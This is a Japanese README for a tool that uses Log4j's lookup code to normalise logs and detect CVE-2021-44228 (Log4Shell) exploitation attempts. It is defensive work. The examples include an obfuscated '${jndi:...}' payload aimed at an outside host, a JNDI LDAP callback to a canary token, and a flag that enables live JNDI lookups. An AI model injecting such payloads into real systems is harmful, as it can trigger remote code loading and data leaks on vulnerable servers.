
Apache Log4j 2 CVE-2021-44228の緩和に役立ついくつかのツール
Apache Log4j 2のCVE-2021-44228の分析を支援するツール
このツールは、log4j-2の"lookup"機能を使用してJNDI脆弱性をテストします。 目的は、lookup機能を簡単に実行することです(例えば、ログを正規化するため、または実際のペイロードでテストするため - 注意してください)。
ビルド方法: "make"(便宜上、JndiLookup.jarファイルはこのgitに含まれています)。
ビルド後、"java -jar JndiLookup.jar"でツールを実行できます(log4jバイナリを含むlog4jディレクトリがJndiLookup.jarと同じパスにある必要があります)。
引数なしの場合、JndiLookupツールは標準入力から行を読み取り、log4jのlookup機能を使用して「変換」します - これはログを正規化し、悪用試行を検索するのに役立ちます。
例: cat access.log | java -jar JndiLookup.jar
コマンドラインに文字列を渡すと、ツールはその文字列を変換して終了します(すべての'$'文字をエスケープしてください)。
例: java -jar JndiLookup.jar java -jar JndiLookup.jar "\${jndi:\${lower:l}\${lower:d}a\${lower:p}://world443.log4j.bin\${upper:a}ryedge.io:80/callback}"
デフォルトでは、JNDI lookupは無効になっています(代わりに "jndi:" を追加するだけのlookup関数に置き換えられています)が、JndiLookupに "-X" パラメータを渡すことで実際のJNDI lookupを有効にすることができます("-X" は最初のパラメータとして渡します)。システムが危険にさらされる可能性があるため、注意してください。
例: java -jar JndiLookup.jar -X "\${jndi:ldap://w8pcb14reujq65vic39pz9amv.canarytokens.com/a}" [ この例は私のカナリアトークンの一つを使用しています。あくまでも例です。このコマンドを使用すると私に通知が届くことをご了承ください。私側では問題ありませんが、DNSリクエストが行われたIPアドレスが分かります。]
使用されているlog4jバイナリで有効なlookupは以下の通りです(標準使用では2.15.0、JNDI有効使用では2.14.1):
環境によっては、以下のlookupが利用可能な場合があります:
[ lookupプラグインの有効化の詳細については、https://github.com/apache/logging-log4j2/blob/c30a1398a6697fb832c650870c44284d0052103e/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java を参照してください。]
このツールはlog4jのlookup機能の実際のコードを使用しているため、他の(JNDI以外の)セキュリティ問題によって脆弱になる可能性があることに注意してください。